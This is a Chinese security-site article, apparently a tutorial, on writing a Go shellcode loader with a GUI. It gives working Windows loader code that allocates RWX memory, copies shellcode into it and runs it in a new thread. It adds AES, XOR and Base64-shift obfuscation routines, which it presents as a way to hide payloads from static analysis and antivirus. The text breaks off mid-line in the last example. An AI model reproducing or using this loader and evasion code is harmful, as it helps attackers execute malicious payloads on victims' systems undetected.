freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ShellCode加载器 | 基于Go语言的shellcode加载器常见实现方式详解
2025-04-03 15:15:36

使用 Go 和 Fyne 实现 Shellcode 加载器

背景介绍

在安全研究和渗透测试领域,Shellcode 是一种常见的攻击载荷,用于在目标系统中执行特定功能。然而,手动将 Shellcode 注入程序并生成可执行文件的过程往往繁琐且容易出错。为了简化这一流程,我开发了一个基于 Go 语言的 Shellcode 加载器,并结合 Fyne 框架为其添加了图形用户界面(GUI)。本文将分享这个工具的实现过程,包括核心加载逻辑、加密混淆技术、高级加载方式,以及如何通过 GUI 提升用户体验。

技术选型

  • Go 语言:Go 提供了跨平台支持、强大的标准库和简单的编译过程,非常适合开发安全工具。

  • Fyne 框架:Fyne 是一个轻量级的 Go GUI 框架,支持跨平台开发,易于上手,适合快速构建用户界面。

  • Windows API:通过syscall调用 Windows 的内存分配和线程创建函数,实现 Shellcode 的加载。

实现过程

1. 核心加载逻辑

Shellcode 的加载需要将代码注入内存并执行。我们使用 Go 的syscall包调用 Windows API,实现基本的内存加载流程。以下是核心代码:

package main

import (
    "log"
    "syscall"
    "unsafe"
)

func BasicMemoryLoader(shellcode []byte) {
    kernel32 := syscall.NewLazyDLL("kernel32.dll")
    virtualAlloc := kernel32.NewProc("VirtualAlloc")
    rtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
    createThread := kernel32.NewProc("CreateThread")
    waitForSingleObject := kernel32.NewProc("WaitForSingleObject")

    mem, _, err := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)
    if mem == 0 {
        log.Fatalf("VirtualAlloc 失败: %v", err)
    }

    _, _, err = rtlMoveMemory.Call(mem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    if err != nil && err.Error() != "The operation completed successfully." {
        log.Fatalf("RtlMoveMemory 失败: %v", err)
    }

    thread, _, err := createThread.Call(0, 0, mem, 0, 0, 0)
    if thread == 0 {
        log.Fatalf("CreateThread 失败: %v", err)
    }

    _, _, err = waitForSingleObject.Call(thread, 0xFFFFFFFF)
    if err != nil && err.Error() != "The operation completed successfully." {
        log.Fatalf("WaitForSingleObject 失败: %v", err)
    }
}

解析

  • VirtualAlloc分配一块可执行内存(PAGE_EXECUTE_READWRITE)。

  • RtlMoveMemory将 Shellcode 复制到分配的内存。

  • CreateThread创建线程执行 Shellcode。

  • WaitForSingleObject等待线程完成。

2. 加密与混淆

1) AES加密和XOR混淆

为了提高 Shellcode 的隐蔽性,实现了 AES 加密和 XOR 混淆,也是常用的加密混淆方式:

package main

import (
    "crypto/aes"
    "crypto/cipher"
    crand "crypto/rand"
    "encoding/base64"
    "log"
    mrand "math/rand"
)

func EncryptShellcodeAES(shellcode []byte) (string, string, []byte, error) {
    key := make([]byte, 16)
    if _, err := crand.Read(key); err != nil {
        return "", "", nil, err
    }
    block, err := aes.NewCipher(key)
    if err != nil {
        return "", "", nil, err
    }
    padded := padShellcode(shellcode, aes.BlockSize)
    iv := make([]byte, aes.BlockSize)
    if _, err := crand.Read(iv); err != nil {
        return "", "", nil, err
    }
    mode := cipher.NewCBCEncrypter(block, iv)
    encrypted := make([]byte, len(padded))
    mode.CryptBlocks(encrypted, padded)
    return base64.StdEncoding.EncodeToString(iv), base64.StdEncoding.EncodeToString(encrypted), key, nil
}

func XORObfuscate(shellcode []byte, key int64) string {
    mrand.Seed(key)
    encoded := base64.StdEncoding.EncodeToString(shellcode)
    var result []byte
    for _, c := range encoded {
        result = append(result, byte(c)^byte(mrand.Intn(256)))
    }
    return base64.StdEncoding.EncodeToString(result)
}

解析

  • AES 加密:使用crypto/rand生成随机密钥和 IV,CBC 模式加密 Shellcode。

  • XOR 混淆:使用math/rand生成伪随机数,与 Shellcode 进行异或操作。

2)Base64 + 移位加密

描述:先将 Shellcode 编码为 Base64,然后对每个字节进行移位操作(例如左移或右移),增加静态分析的难度。

优点:简单高效,易于实现。
缺点:移位操作可逆性较强,需结合其他方法提升安全性。

代码示例

package main

import (
    "encoding/base64"
    "log"
)

// ShiftEncrypt 使用移位加密混淆 Shellcode
func ShiftEncrypt(shellcode []byte, shift int) string {
    encoded := base64.StdEncoding.EncodeToString(shellcode)
    result := make([]byte, len(encoded))
    for i, b := range []byte(encoded) {
        result[i] = b + byte(shift) // 简单右移加密
    }
    return string(result)
}

// ShiftDecrypt 解密移位加密的 Shellcode
func ShiftDecrypt(encrypted string, shift int) ([]byte, error) {
    data := []byte(encrypted)
    decoded := make([]byte, len(data))
    for i, b := range data {
        decoded[i] = b - byte(shift) // 逆向移位
    }
    return base64.StdEncoding.DecodeString(string(decoded))
}

// 示例使用
func ExampleShift() {
    shellcode := []byte{0x90, 0x90, 0x90}
    encrypted := ShiftEncrypt(shellcode, 3)
    log.Println("Encrypted:", encrypted)
    decrypted, err := ShiftDecrypt(encrypted, 3)
    if err != nil {
        log.Fatalf("Decrypt failed: %v", err)
    }
    log.Println("Decrypted:", de
# shellcode工具 # shellcode免杀 # Shellcode封装
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录